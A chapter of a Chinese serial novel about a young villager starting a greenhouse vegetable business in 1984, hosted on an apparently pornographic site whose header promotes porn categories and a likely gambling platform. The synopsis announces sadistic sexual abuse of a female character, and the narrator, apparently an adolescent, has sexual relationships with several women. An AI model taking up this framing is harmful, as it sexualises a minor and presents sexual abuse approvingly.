自拍偷拍 站长精选APP 网红主播 国产传媒 女优无码 中文字幕 视频下载 激情小说
[公告]:发送任意邮件到shuiduoduo58@gmail.com ,获取最新水多多网址,建议使用电信联通播放,移动有时打不开。
  赚钱信誉平台推荐
  狼友必备下载推荐

《春光无限好》
  作者:巨龙在咆啸(老糊涂)
  出版:河图文化有限公司


  【第六集】内容简介

  徐子兴在春水村建造蔬菜大棚的计画正式启动!

  虽然有归国侨商对这行业虎视眈眈,但在东方友的教导之下,他了解对方目标在国外市场,这也引起他更雄大的野心。

  朱倩打探到侨商和张天林等人是亲戚的消息后,匆匆来报,但言词上得罪了身为农民的徐子兴,也引发他滔天怒火!

  用恶毒言词和残虐性慾发洩在李玉姿身上,岂料东窗事发,被卫强要胁!

  【第六集】第一章:蔬菜危机

  小李说这话时,虽然靠在司机身边,可那音量却大得全车人都听得清楚。外商张胖子一听这话顿时眉开眼笑,把西服釦子又重新扣上,摆出一副「我是来投资的商人,是你们的财神爷」的模样。

  司机心里也有气,暗想:外商又怎幺样?要在早几年,你这胖子还不是黑五类?臭鸡蛋、猪粪、马尿还不是任我们泼?

  不过小李把一顶「破坏招商引资」的大帽子戴到他头上后,司机就不敢说话了。中国人一向奉行多一事不如少一事,民不与官斗,穷不与富斗。

  司机指了指车速表,小李一看,果然最高时速才六十码,知道司机的气话是真话。

  乘客们鸦雀无声,一个个以异样眼光打量胖子这三人。

  侨商张胖子得意地享受众人羡慕的目光,举止更为张狂。

  抱着「宁为富家犬,不为穷家儿」信念的小李、小杨两人使了浑身解数,猛拍张胖子马屁。

  「乡下小地方,车破车烂开不快。」

  「张先生大人有大量,不必与这些农民一般见识。」在说「农民」这两个字时,显然带着强烈贬意。

  我去过城市,知道城里人骂人时常以「农民」称呼对方,被称呼者则认为受到汙辱,也以「农民」还回去。

  城里人是相当看不起农民,城里人的子女歧视农村子弟,许多农村出身的学生,甚至不敢在同学面前介绍自己的家人。归根究底,只是城里人生活过得比农村人好。每当遇到这种情况时,我都暗暗告诫自己一定要活出个名堂,让城里人知道我们农民的生活不比他们差。

  有时我也会幻想,等有钱了,带领乡亲们脱贫致富,便家家户户都盖起小别墅。嘿嘿,再把城里人请来,看看住着百余平方公尺空间的城里人是什幺表情。

  自从开始卖菜,我对经商有了莫大的兴趣;一听这侨商是来投资的,便竖起耳朵听他们三人的谈话。

  小杨从口袋里拿出一包极品熊猫烟,递了一根给侨商张胖子,道:「张先生,抽根烟。」

  极品熊猫烟在这年头一包就要十二块钱,这可是普通工人半个月的收入。我暗暗咋舌,镇上为了接待这侨商还真是下了血本,随随便便的一包烟都是市面上最好的牌子。

  原以为张胖子会接过烟,没想到他一点也不领情,伸手一挡,从随身手提箱里拿出一个精緻的白色金属盒,道:「国内的香烟太没味,抽不惯,还是这个东西够劲。」

  张胖子打开盒盖,只见精緻金属盒内端端正正地躺着十根紫红色的棍状物。那东西看起来挺像烟,却比普通烟长两、三倍,也粗好几圈。车里人见张胖子拿出这等稀罕物,一个个好奇地看着,我也不例外。

  小杨显然也不认识这东西,机灵点的小李却惊呼道:「古巴Behike限量雪茄!」

  张胖子惊讶道:「咦,想不到你竟然知道雪茄?来来来,今天便宜你了,赏你一根。」说着给了他一根Behike雪茄。小李如获至宝地接过,激动地点了根火柴,兴奋地深吸一口,一脸陶醉。

  「滋味怎幺样?」张胖子微笑道,眼里闪过一丝鄙夷。

  小李正陶醉其中,感叹道:「五百块钱一根的雪茄果然与众不同。」

  什幺?这雪茄要五百块钱一根!

  全车人都惊呼出口。小杨乍听这根雪茄相当于他一年的工资,差点把下巴吓得掉下来。他的眼睛不时瞄过雪茄盒,张胖子早察觉出他的想法,适时地赏了他一根。小杨点头哈腰,急急点上。

  看着这三人抽得昏天暗地,我心生感触。人比人真是气死人,这张胖子随随便便就「烧」掉一千五百块钱,这钱要是放到俺们乡下,能让多少穷人家过上好日子啊!

  两个马屁精拍了一顿马屁后,谈起正事。

  小李问道:「张先生,您的蔬菜种植基地什幺时候要建?缺不缺人手?您看我怎幺样?」

  小李这人机灵,又能言善道,见识也广,待人接物也有一套,把张胖子服侍得相当满意。

  张胖子颔首道:「嗯,你这小伙子不错。这样吧,以后等我的基地建好,你就过来当我的秘书吧!」

  小李大喜,连连道谢;能跟在这种富商身边,想不发达都难啊!老话说的好:「宁做富家狗,莫为穷人儿。」小李虽然捧着的是公务员铁饭碗,但他向来极有野心,天上掉下一个财神爷,他能不把握住机会吗?

  一边的小杨后悔不 ,完全没有刚抽雪茄的满足模样,嫉妒地看了小李一眼,只能闷头不吭声。他也知道张胖子对他的印像不佳,再去求人家只是自取其辱。

  我大惊!这侨商来春水镇竟是投资种蔬菜,没想到这幺快就有了竞争对手!看来形势不容乐观啊。几十万人民币加上镇政府的支持,能建多大的蔬菜基地呢?恐怕有几千亩吧。

  一路上我的眼睛看着窗外,其实是在认真听他们三人的谈话。从他们的谈话,我了解到侨商张胖子是镇上某户人家的亲戚,早年文化大革命的时候偷渡到澳洲,从农场工人干起,苦心钻营二十年,终于在澳洲有了一座自己的农场,此次算是衣锦还乡,兼「为家乡贡献」。

  他在澳洲搞的就是蔬菜种植,所以这次投资也算是老本行。县领导要亲自送他去春水镇,可张胖子心急几十年不见的小表弟,带上春水外镇的两名干事,急急找了辆车赶往春水镇,岂料半路车抛锚,无奈之下只能坐公车。

  我隐隐感觉有些不对劲,但哪里不对劲又说不上来,只觉得好像有什幺事情会对我不利。

  这张胖子投资蔬菜大棚种植基地,对我的事业显然有很大的影响。说实话,以前我根本没把那些卖菜的小摊贩放在眼里,虽然他们也是我的竞争对手,但那时我是一个人吃饱全家不饿,也不在乎。

  如今不同了。我跟乾爹和范叔借钱,种子都买齐了,张罗着要回村建自己的蔬菜大棚。如今万事俱备,只等明天破土动工。

  想不到这当口冒出一名侨商,给了我狠狠一击。同行是仇家,人家财大气粗,以后我怎幺跟他们斗?我仔细从各个方面分析一番,发现自己除了是本地人这点优势外,再无别的优势。

  可我徐子兴向来倔强,万万不会做半途而废的事。既来之,则安之。我有东方友这位博士,又有乾爹、叔两个地头蛇帮忙,这蔬菜市场上怎幺也能分一杯羹吧!

  现在的我心烦意乱,恨不能立刻飞回村找东方友深谈一番。

  车子终于驶到镇上,张胖子三人下车往镇政府方向走。

  我急忙去乾爹家把大黄牛牵出来,上了牛车,挥鞭抽得空气啪啪直响。

  大黄知道主人心急回家,撒开四蹄跑得飞快,路边柳树飞快地往后倒。

  回到家把种子放下,我朝屋里吆喝一声:「玉凤,我找爷爷(东方友)去了。」说完不等她回话就出门。

  玉凤正做家务,把湿手在腰前围裙上擦了擦走出来,看着远去的徐子兴道:「唉,臭小子是怎幺啦?一回到家就火急火燎。这一上午左眼皮就跳个不停,不会出了什幺事吧?」

  农村人有个习俗,说是左眼跳财,右眼跳灾,指的是男人。女人则是左眼跳灾,右眼跳财。所以徐玉凤才有这幺一说。

  我风风火火地赶到东方友家,急忙把情况跟他说了一遍。

  东方友听后也没说话,不急不徐给我倒了杯水,说道:「来,小兴啊,先喝杯水。」

  我接过水,哭笑不得道:「爷爷,我都急死人了,你还……」

  东方友慈祥地说:「天塌下来,人也要吃饭、喝水不是吗?来来来,先喝杯水。」

  我无奈地将水一饮而尽。我火急火燎地赶过来,还真有点口渴。一说到口渴,才记起中饭还没吃,肚子也有点饿了。

  心情放鬆下来后,东方友坐在摇椅,睿智的目光在我面上一扫而过,道:「小兴,你是不是觉得敌人太强大,怕斗不过他?」

  敌人?不错,同行是仇家,竞争对手就是敌人。

  我摸摸头,道:「嗯,有……有点吧……」

  东方友理解地说:「不用不好意思,面对强大敌人,会怯场是很正常的。」

  几句话就让我心情平静,东方友果然不愧是智者。

  「小兴,我问你,你觉得如果单纯比技术,那侨商能赢你吗?」

  「这还用说?人家财大气粗,又是从国外回来,种植技术肯定比咱们要先进得多。」我理所当然道。

  东方友微笑道:「你这番话有什幺根据吗?」

  我一愣,说:「证据倒没有。不过爷爷,您看外国人在别的行业,技术比咱们国家先进多了。我想,种植技术也比咱们强吧!」

  「呵呵,这幺说你没有证据,只是想当然啰?」东方友笑道,我点头认同。

  东方友突然神色一肃,认真道:「徐子兴,看事情、做事情不能只凭想当然。据我所知,在农业技术这领域里,我国领先世界各国,蔬菜种植技术更是比澳洲领先十年。」

  我愣住了。东方友是位学者,学者说话都是有凭有据的。他说的话绝不是口说无凭。我想当然的认为国外的技术就是先进技术,却没想到我国在农业技术的领域里竟然是世界第一。

  东方友又微笑道:「你可能不信吧?呵呵,没关係,我可以解释给你听。咱们国家有九百六十多万平方公里,人口十几亿,却有八亿多农民。农民们以耕种为生,所以咱们国家是农业大国。」

  他又说:「咱们国家的农业技术开发,一直是国家重点扶植的项目。国家每年都要投入数百亿资金研发,这在世界各国的农业科技投入资金排行是第一位。杂交水稻之父袁隆平,袁先生解决国家十几亿人口的饥饿问题,替国家带来国际声誉,也让国家的农业科技研髮带来新的契机。

  「西方人的主食是肉类。所以他们的畜牧业比我们东方要发达得多。但他们在饮食上对蔬菜的需求却没我们这幺高,所以在蔬菜种植技术上,咱们国家是领先世界的。澳洲侨商张老闆想回国投资,我想他也是考虑到这一点。」

  东方友这一番通俗易懂的话,令我疑惑尽消。原来外商回来投资,是这个原因啊!

  东方友品了口茶,润了润嗓子继续说:「小兴,现在猪肉多少钱一斤?」

  我纳闷了,怎幺说得好好的突然问起肉价?高人就是高人,一个简单的小问题,就令我心生高深莫测之感,于是小心翼翼地答道:「嗯,在咱们镇卖八毛钱一斤。」

  东方友又问:「那幺青菜多少钱一斤呢?」

  「五分钱一斤。」

  「猪肉比青菜贵,对不对?」东方友认真地问。

  这种比贵贱的问题三岁小儿都能答对。

  「那是当然。」

  「那你觉得,在澳洲,青菜和猪肉哪个贵呢?」

  如果没有爷爷先前的「想当然」论,我会毫不犹豫地答:「在澳洲当然是猪肉比青菜贵啊!」

  但那是想当然的结果。别说外国的物价,我就连其他省的物价都不清楚,所以不能凭「想当然」来回答这个问题。

  西方人多吃肉食,那幺蔬菜一定种得少。照这几天我看的经济学理论,写到「物以稀为贵」,所以我推论出:「莫非在澳洲,青菜比猪肉贵?」
  东方友慈祥地说:「孺子可教也。我有个老同学目前在澳洲一所大学教书,我们一直保持书信来往。前几天他来信说在澳洲想吃青菜不容易,不但要开车一百多里到悉尼去买,价钱竟然是每斤1。49澳元,而猪肉每斤却只卖1。1澳元。」(注:此为小说世界请勿与现实挂钩)

  然后东方友告诉我一个震撼的消息:1澳元兑6。5人民币,兑30。5台币。

  天啊!照这幺说,在澳洲一斤青菜竟然能卖到63人民币。这与春水镇的一斤五分钱相比,绝对是天壤之别。

  侨商张胖子来这个穷乡僻壤,建蔬菜大棚基地的目的:就是将国内的蔬菜运到澳洲,赚取巨额差价!

  前几天看新闻说韩国现在发生泡菜危机。

  由于今年气候异常,腌製泡菜的主要原料——白菜价格持续上涨,价格是以往的六、七倍,让韩国很多普通家庭吃不起泡菜。

  一颗白菜在韩国已经涨到六、七十人民币。萝蔔、大葱等其他蔬菜的价格也水涨船高。

  如果这些暴富良机我也能掺上一脚,亿万富翁不再是梦想,会在短时间内变成现实。我被这个想法震撼得浑身发颤,不是因为害怕,而是因为激动。

  东方友把我脸上表情的变化看在眼里,暗自叹口气摇了摇头,心想:这孩子还是太年轻了。

  他又给我倒了杯水,说道:「小兴,别激动,先把水喝了。」

  我迫不及待地将水一饮而尽,仍觉得不解渴,又连喝三大杯水,直到肚子发胀,才压住那蠢蠢欲动的野心。

  东方友自言自语似的说:「咱们国家的资讯还不够发达,国内对外国的消息更是少得可怜。如果不是老同学这封信,我也不知道在澳洲青菜能卖到国内黄金的价格。呵呵,一斤青菜竟然能抵一克黄金。这哪是青菜,我看叫它「黄金菜」才名副其实嘛!哈哈……」(注:一九八四年,国内金价约一公克七元人民币)

  我也给他这一说逗乐,不过笑过之后却感叹不已:「要是咱们也有管道,把种出来的菜卖到澳洲该有多好啊!」

  东方友突然不出声,独自摇摇头又点点头,弄得我莫名其妙,问:「爷爷,您怎幺了?」

  东方友看着窗外叹息一声,那眸光似乎回忆过往,历经沧桑的脸上充满悲哀。

  我关心道:「爷爷,是不是我说错什幺话了?」

  东方友摇摇头,道:「唉,人老了,总是想起以前的事。」

  一听这话,我知道爷爷有话要说,而且还是往事,所以我默不作声等他开口。

  「我这个老同学高中开始就跟我同班,一直到上大学、考研究生,甚至读博士时都是同一位导师带我们。他为人正义感很强,爱国爱民。如果不是文化大革命时,遭姦人陷害被打成反革命,他也不会携家带眷,不远万里逃到澳洲去。唉,想起这些事,我就怀念起当年读书的日子。」

  接着爷爷又跟我说了段往事。回忆总是美好的,不知不觉一个小时过去了,但我心里还有事,一直不好意思向爷爷提出来。

  东方友发现我的异样,问道:「小兴,是不是有什幺事?有事你就说,别憋在心里,憋出毛病可不好。」

  我摸了摸后脑勺,说道:「嘿嘿,爷爷目光如炬,我哪能瞒您啊!是这样的,您看,您能不能在写信的时候,请在澳洲的爷爷帮忙联繫管道?」

  东方友拍了我脑门一下,笑骂道:「你这个机灵鬼啊,就会打蛇随棍上。」接着话锋一转,叹口气:「唉,小兴啊,不是我不想写,而是不能写啊!」

  嗯?我疑惑地看着他。

  东方友说:「你知道当年害得他全家离乡背井的是什幺人吗?」

  「什幺人?」

  「一个商人。」东方友淡淡地说。

  我无言了。

  很显然,爷爷的老同学对商人恨之入骨。依照恨屋及乌的惯例,如果爷爷写信时提出这样的事情,搞不好会影响两人的感情。

  看得出来,爷爷虽然博学多才、交游广阔,但真正知心的朋友只有这个老同学。爷爷很重视他们之间的友谊,不想旧事重提,令老同学不快。

  「爷爷,小兴知道了。」

  不过我没有就此死心,想了想后又问道:「爷爷,哪里可以学到澳洲话?」

  东方友愣愣地看着我,噗哧一声,把茶水喷了一桌都是。

  「咳咳咳……」他猛烈地咳嗽起来,吓得我赶忙去拍他的背部,关心道:「爷爷,怎幺了?没事吧?」

  他咳了一会儿后,便做手势叫我不用拍了,说道:「没事没事,不过你怎幺连澳洲用什幺语言都不知道?」

  接着才又想起什幺似的说:「也对,你在村里长大,资讯闭塞又早早辍学,不知道也情有可原。」

  这回我听出来了。东方友以为这只是常识性的问题,但对于我这种没上过几年学的人来说,确实是个问题。

  爷爷告诉我,澳洲以前是英国的殖民地,所以他们使用的是英语。

  「小兴啊,爷爷知道你想未雨绸缪,先学会英语,为以后做更大的生意打下基础,对吗?」

  我点头。

  「很好!小兴,你做得很好。机会是留给有準备的人。许多人不明白学那幺多知识有什幺用。其实当我们在学习知识的时候,也许根本用不上它,但这不代表以后没机会用。比如英语,你现在学好了,也未必用得上,但要是将来生意做大了,想把菜卖到国外去,会英语总是方便许多。爷爷支持你学英语,不过爷爷的英语会看、会写,却不会听也不会说。」

  「那怎幺办?」我皱起眉头。

  东方友呵呵笑道:「小兴啊!你真是身在福中不知福。你身边不是有一个最好的老师吗?」

  「思雅?」

  「没错。就是小宋那丫头!据我所知,宋丫头可是拿到国家英语六级证书,而且她的听说能力也很强,这点我老头子就是拍马也赶不上啊。」

  「爷爷,瞧您说的。这话您别当她面说,不然她那小尾巴非翘上天不可。」

  接下来,东方友又与我谈到市场营销方面的知识,尤其向我灌输「细分市场」、「市场目标」等相关概念。

  临走时,他从书架上抽出几本市场营销的书给我,要我回去好好看看。

  「小兴啊,你要扩大生产,已经不再是以前的小打小闹。学点市场营销知识,对你有益无害。」

  爷爷语重心长,我郑重其事地接过厚厚的几本书,回家去了。

  学校放学时,我去接思雅。回来的路上,我把这事跟思雅说,思雅得意地理了理浏海,说道:「嗯哼,这幺说你是想拜师学艺啰?」

  「什幺拜师学艺,我跟自家老婆学,还拜什幺师啊!」

  宋思雅下巴一翘,得意道:「那可不行。想要我教你英文,除非你喊我一声宋老师。」她摇摇手中的学生练习本,神情哪像个老师,分明是得了便宜卖乖的小丫头片子。

  「不行不行,哪有叫自己老婆「老师」的,无缘无故把你叫老了,你不是很吃亏吗?」我坚决不让步,跟她开起玩笑。

  「不行,我就要你叫,不然我就不教你。」宋丫头口气强硬,寸步不让。

  「不要啊!我好不容易想学外语,你就这幺刁难我?」

  「别装可怜,快叫老师,咯咯……」

  「真的要叫老师吗?」

  「要叫,一定要叫,非叫不可。」

  「那……我在床上叫你「老师」可以吗?」我好笑道。

  呃,思雅一愣,脸上抹起红晕,桃红色氾滥到脖子上。

  「徐子兴你真是个淫棍,三句话就扯到这上面来了。哼,我非打死你不可!」思雅拿着厚厚一叠作业本追着我打。

  我抱头鼠窜,说道:「哎呀,娘子饶命,为夫再也不敢了……」

  「别跑,你这个大坏蛋。今天本娘子要替天行道,阉了你这是非根,看你还敢不敢在光天化日之下,调戏良家妇女。」

  两人打打闹闹往家里去,夕阳见证我们的爱情。

  从这天晚上开始,小学教师宋思雅小姐很荣幸地成为徐子兴先生的私人教师。宋思雅小姐每天晚上教两小时英文,而徐子兴给她的报酬则是:一张终身饭票。

  第二天,村书记李成领着一班人来找我,说是要商量建造蔬菜大棚的事情。

  我有点愤愤然;建蔬菜大棚是门技术活,不但要有手艺,还要选择好地点。这不是随便找个地点、开座谈会就能商量出来的事。

  我很客气地请村干部们吃了顿饭,明确地告诉他们,我已经找村里的木匠魏世昌帮忙了。我把招来的二十名伙计分给魏世昌,这两天他们正四处上山砍伐竹木。

  我要建的是竹木结构的塑胶大棚。

  这种大棚造价最低,虽然不怎幺耐用,但很符合目前的投入水準。

  村干部们听我侃侃而谈「技术」,又喝了不少高梁酒,一个个晕乎乎地回家睡觉,想必在建造大棚期间,再也不会来捣乱。

  竹木大棚造价比较便宜,我规划每亩建三个大棚。

  一九八四年,这山上的竹木是集体所有,我建造大棚造福的是全村人,所以村委没在竹木上刁难我。我一分钱没花,魏世昌领着二十个伙计从山上搬下几千斤的竹木,在大棚材料上给我省了一大笔钱。

  建造的另一项大笔开销在于塑胶膜的购买。

  出于成本的考量,我选择可以使用十个月的防老化膜。这也是没办法的事,谁叫我手里只有两万五千块钱呢?光是买菜种就花掉一千块钱,我很心疼啊!需要大笔开销的化学肥料我还没买呢,最短两个月的成菜期,我都怕这点钱不够买化肥,土地最吃钱了。

  我精心地培育蔬菜种苗,种苗弄好了,这菜就算种好一半。先天性的种苗不是后天化肥能补得过来。毕竟蔬菜不是人,不能透过运动来强壮身体。

  干这门活的时候,我回到老屋的大棚,特地闢出几块地来培育种苗,一天忙到晚,几个女人看了心疼。玉凤说让她和李玉姿来帮我,但这门活不是一般人能做的,我坚持要自己动手。

  下了种子就等种子发芽。趁这工夫,我领着卫三子去各家承包地选择最适宜建造大棚的场地。

  建造塑胶大棚的场地应地势平坦、背风、向阳、四周无高大建筑物和树木遮荫。

  如果是在我们山区建棚处应避开风口,应该选择建在南坡处,并挑选土壤肥沃、排水良好、地下水位低的地方。

  水源问题是塑胶大棚场地选择的重要考量因素,因为塑胶大棚扣棚后无法接收雨水,必须靠人工浇灌来补充水分,以满足蔬菜生长的需要,如果大棚建在离水源远的地方,水分供给会成为很大的问题。

  我从书上看到很多蔬菜大棚由于远离水源而失败的例子,所以建造处我也是亲力亲为。

  经过一年的实践,我发现选地很重要,并很庆幸老屋后头的两亩大棚选对地方。

  我和卫三子一人背一袋生灰,选好一块地就在地上撒一把石灰,然后用纸笔记录这块地有多少亩、是哪户人家的,详细资料都要写清楚,以备将来不时之需。

  两天后一百八十亩大棚建造地被我们规划出来,李成书记还特别召开全体村民大会。

  大会上,面对我提出的高额条件,村民们爽快地答应,并且配合地以每年两次分期付款的方式,给付土地租金,每半年一次。也就是说半年后我要付出五千块钱租金给村民们。

  村里有李老太爷和李成书记支持我,再加上我在村里颇有威名,所以大会圆满成功。大会最后是签约,思雅充当起我的临时「小蜜」,她端坐在桌后,把笔给每一个上台来签合约的村民。每当一个村民签完字,台下都会响起掌声,然后他就如英雄般走下台去。

  李成书记本来还有些疑惑,不就是租金嘛,你徐子兴打张欠条,我们还怕你跑了不给钱啊?但我觉得人情归人情,手续要齐全。按照国家法律,土地租赁一定要签合约,亲兄弟也要明算帐,所以我坚持把法律摆在第一位,再者搞这幺一个签约大会,更能坚定出租田地农民的信心。

  李成事后说:「你小子,人小鬼大。」

  我嘿嘿地傻笑。

  【第六集】第二章:警花的高跟鞋

  签约大会成功举行不久,县里的批文也下来,明确指示鼓励村民自主创业。李成甚至带来一封给我的表扬信,我不置可否,倒把李成乐得不行。

  我暗自有些担心,这幺大的事为什幺镇上不派人过来?只有跟我关係好的干爹和范叔分别代表镇税务局和镇派出所来祝贺。

  乾爹和范叔酒后吐真言,对我这件事,镇上的头头脑脑们大多支持,只有镇长和他秘书——张天林的姐姐不同意。镇政府专门为这事还开了会,唯一反对的就是这两人,但大势所趋,就算一镇之长也不敢犯众怒。

  按规矩,镇政府至少要派十名干部代表来参加签约大会,但因为有侨商也来投资建蔬菜大棚种植基地,镇上的人当然看不起我这几万块钱的投资,一个个点头哈腰招呼侨商张胖子。

  酒桌上,乾爹不无忧虑地道:「小兴啊,今年也不知吹什幺风,连假洋鬼子都跑来咱们这穷乡僻壤投资。人家可是大买卖、大手笔,一百八十万人民币资金在政府的扶持下,足以建起四、五千亩的蔬菜大棚种植基地。地址都选好了,暂时将邻近于镇上的春江村、春福村、春闹村三个村作为第一期基地。人家财大气粗、来势汹汹,咱们斗得过人家吗?」

  范叔也应和着。

  我哈哈一笑道:「乾爹,范叔,你们别急,听我说……」于是我说出与东方友聊天的内容,两人才稍解眉头。

  「我合计侨商张胖子做的是暴利——蔬菜出口,自然不会跟我抢内地市场。再者他几千亩的蔬菜大棚一下子要建起来也不是一两个月能搞好的,等他建好了,咱们的蔬菜都快大量上市了。」

  大棚蔬菜一般两个月可以出一批菜,按照这个标準,他们五千亩的巨型基地,最快也要半年时间才能完全建好。人家有钱自然不会省钱,自然建造的是合金结构的蔬菜大棚。原料採购、大棚选址、构架,哪部分不需要时间?

  就算有镇政府支持,速度也无法加快,毕竟我国政府的办事效率之低,令全世界叹为观止。外商来投资并不能提高政府的办事效率,恐怕大把时间还得花在酒桌上。

  这一点我深有体会。

  不就建了个百余亩的大棚吗?村干部们从初一到十五,哪天不过来串门子?中饭、晚饭,我家都快成饭馆。玉凤还开玩笑说,现在她的手艺都快比得上五星级厨师。

  这就是我国的实情。

  国人最重人际交往,而酒桌上是联繫感情的最佳场所,我不能免俗,侨商张胖子也免俗不了。低层的村级干部、中层的镇级干部、高层的县级干部甚至上层的市级干部,哪个方面不需要打点?

  我嘿嘿一笑:「够他忙了。」

  乾爹和范叔也是微笑不语,他们这样的局内人最清楚不过。

  「唉,你东方爷爷今天怎幺没来参加大会?」

  「爷爷是做学问的人,喜欢清静,这点小事,我怎幺好意思去劳烦他。」

  乾爹对范叔说:「老范,吃完饭去拜访一下高人?」

  范伟却问我:「我们去扰他清静,可以吗?」

  「没关係,咱们可是一家人。乾爹是我爹,范叔是我叔,东方友是我爷爷,他能不见你们这两个「儿子」吗?」

  范叔一巴掌拍在我脑门上,笑骂道:「臭小子,给你点颜色,你就开染房。敢拿我和你乾爹开涮。」

  突然传来一道欢快的童音:「打得好,打得妙,打得呱呱叫。」

  众人一回头,却见一个八、九岁大的漂亮小女孩进屋来,把书包往沙发上一扔,对范伟说:「这位叔叔,你好,我叫小晴,我想跟你做个朋友,可以吗?」

  范伟三十好几的人,没见过如此鬼精灵的小孩,初见面就说要跟他交朋友。他愣神间,思雅已经把小晴抱到凳子上。

  「小晴,别闹了,快来吃饭。」玉凤拿只小碗已经盛好饭递到她面前。

  我微笑向他们解释:「她是东方爷爷的孙女——小晴,大名东方晴。」

  范伟听后,竟然郑重其事地向穿着亮丽的小姑娘伸出手,说道:「东方小姐,我范伟很荣幸能与你这幺漂亮的小姐做朋友。」

  小晴微微一笑,伸出玉白小手让范伟捏着指尖,说道:「感谢范先生替我教训徐哥哥,在此非常感谢你。」

  小晴一本正经的装大人,看得大家微笑不止。

  范伟也是老顽童,最喜欢恶搞,问道:「请问东方小姐,徐先生他是怎幺得罪你了?」

  小晴把小手抽回来,拿起筷子帮自己夹了一只大鸡腿,吃得满嘴都是油,嘟囔道:「哼,徐哥哥坏死了,已经有三天没跟人家玩了。」

  众人无语。

  乾爹看看小晴又看看宋思雅,感叹道:「若非亲眼所见,真不敢相信这世上会有这幺相像的人,你们真像一对母女啊!」

  思雅爱怜地摸着小晴的头,道:「可不是?好多人都说我们两个长得像母女。小晴,听到伯伯说的话了吗?以后要叫我妈妈,知道吗? 」

  小晴斜了她一眼,模样甭提有多可爱了。

  「懒得理你,宋姐姐!」

  思雅轻揍她一下,道:「鬼丫头,一点亏都不肯吃。」

  小晴说:「我是小孩我怕谁!」

  一句话把大家逗得哈哈大笑。

  小晴这孩子自从来到我们乡下,脸色愈来愈好,性格也益发开朗。由于玉凤和宋思雅都宠她,把她教得人小鬼大。

  思雅却说这是国外的开放式教育,外国人都这幺教孩子,培养孩子的独立个性。所以她没把小晴当小孩子,而是以大人的口吻与她沟通交流。

  有小晴这个活宝在,饭是吃不下去的,笑都笑饱了。

  小晴人小肚大,一桌子的菜,她一个人能吃两大盘。听闻两位大叔要去拜访她爷爷,小晴飞快地扫掉一碗饭、两盘菜,接过玉凤为她备好的饭盒,蹦蹦跳跳地在前头领路。

  东方友自己没做饭。为了让他安心养老,玉凤承担为他做伙食的责任。小晴基本上住在我们家,只有晚上会回去睡觉。东方友不时会来吃饭,不过大多时间都是我们送饭盒给他吃。这饭盒不是外面的快餐,有时候我看了都会埋怨玉凤,怎幺把好吃的菜都留给爷爷。

  半路上碰到魏世昌,他正好找我有事,我只好办事去。

  乾爹和范叔一点也不介意,还跟我说正事要紧。

  魏世昌跟我谈大棚建造的事,谈了好几个小时。

  我回家时,乾爹和范叔已经坐在客厅里喝茶。

  乾爹告诉我:「小兴啊,你东方爷爷真的是有大智慧的人啊!」

  我问怎幺了?他们神秘兮兮地不说,我猜乾爹一定是向爷爷请教什幺事。

  第二天一大早他们离开了,我也正式带人建造蔬菜大棚。卫三子把他家的地都租出来,现在无所事事,正好帮我打工。我乐得有这个身强力壮的好帮手。

  大棚建造的学问可大了。搭建的方向只要条件允许应採用南北向,因为南北向大棚的透光量比东西向高百分之五至百分之七,而且日照分布均匀,棚内白天温度变化平缓。

  我领着二十多个人先示範做了一个构架,边做边讲解给他们听。这工作简单,一教就会。然后我将二十多的人分成五组,五组人同时作业。

  二十块钱一个月的高工资上让这些以前低收入甚至无收入的小伙子们干劲十足。

  仅仅五天时间,一百八十亩地三百个大棚的空架就造好了。

  我一个个仔仔细细地检查一遍,没发现有什幺大问题,看来这群小伙子,在我这个年纪最小的「大哥」教育下,工作很认真。

  空架架好后就是培育良土,这活更细,先要翻地,再浇水施农家肥。一百多亩地把全村的农家肥都用光。这时候就可以上塑胶膜,花掉三千块钱买来的塑胶膜,稍微用力就会被戳穿。没办法,便宜货就是便宜货,谁叫咱没钱买高档货呢?

  只能千叮咛万嘱咐工人们在铺膜上架时,小心、小心再小心,于是盖膜又花了五天时间。控温设备?咱买不起,只好照以前的土办法,每个大棚弄个炉子,需要降温时再洒水即可。

  经过十来天时间,在我的精心培育下,种子发芽了,长势良好。接着下苗、浇水,施肥……

  忙活整整一个月,我的一百八十亩蔬菜大棚终于正式建造完成。

  我站在小山头上看着山下一个个白色的半柱形包,感慨万千。这三百个大棚就是我徐子兴事业的起步点啊!

  短短一个月时间,两万五千块钱已经花掉两万块钱,换回来的一袋袋化肥囤积在老屋那里。

  身为一个合格的老闆,我平均分配任务给员工们,合格完成任务者有奖,不合格者有惩。被惩罚者的钱将奖励优秀员工。于是每个员工为了不被罚,都努力工作、努力完成任务。甚至有人在有一回翻地时,眼看无法完成任务,急忙把自己的家人叫来帮忙,于是他在规定时间内顺利完成任务。

  有了这个先例,大家纷纷仿效,让玉凤骂我,二十块钱就把二十多个家庭都拴到我这条船上。

  其实我本意就是如此。我要让员工的家人也参与进来,毕竟这原先就是他们的土地。我再给员工定下标準,防止偷工减料。当然,这只是在大棚建造初期实行的法子。大棚一旦建成投入使用,非员工是不允许进入大棚的。

  好在这时候,建造工作已经接近尾声,大家都能忙得过来。

  对于大棚的种植技术,我毫不避嫌地倾囊相授。其实我这点东西全都是从书上学来的,只要识字都可以自学。

  要让大棚的菜种得好就得把技术教给大家,保证大家的技术水準。我不想因为某个员工的技术错误而导致一个大棚的蔬菜毁于一旦。毕竟这一个大棚的成本价是八十块钱啊!如果等菜上市,这批菜大约能卖到两百块钱左右。

  所以,防微杜渐,我给他们上了几堂培训课,更在实际操作中亲自为大家做示範。这段时间大家的学习热情空前高涨。

  我起早贪黑,繁重的劳作令人不得安歇,晚上还要看书学英文,破天荒地一个月内没有碰任何女人,深夜一碰炕立刻沈睡过去。想想还真是对不起玉凤,还有思雅,都有点冷落她。

  夜晚皎洁的月光照在思雅玲珑有致的娇躯上,令人心生遐想。

  我碰碰思雅的身子,她理智地把我的手拍开,骂道:「省点力气吧,累成这个样子,还想干坏事?不怕身子垮掉啊?」

  我嘿嘿笑道:「身子垮掉无所谓,总不能冷落你吧。」

  思雅伸出兰花指,一指点在我额上,娇声骂道:「没个正经!现在是创业期,我还能不懂事?」

  她捉住我在她美妙肉体上游走的大手,说道:「你正在发育,每天又乾这幺粗重的活,就算你想要,我也不能给你。」

  我挺感动。

  夫妻果然是同林鸟,大难来时共担当。有这幺贤慧的妻子,我徐子兴该知足了。可是想起乾爹、范叔给我的任务——追求警花朱倩,我就觉得对不起思雅。

  宋思雅允许我左拥右抱、我到处搞女人。但我知道她是有底线的,就是要爱她、娶她,给她婚姻的保证!如今面对事业与家庭的抉择,我该何去何从呢?

  难道要我抛弃宋思雅,娶朱倩?

  这夜,我彻底失眠了……

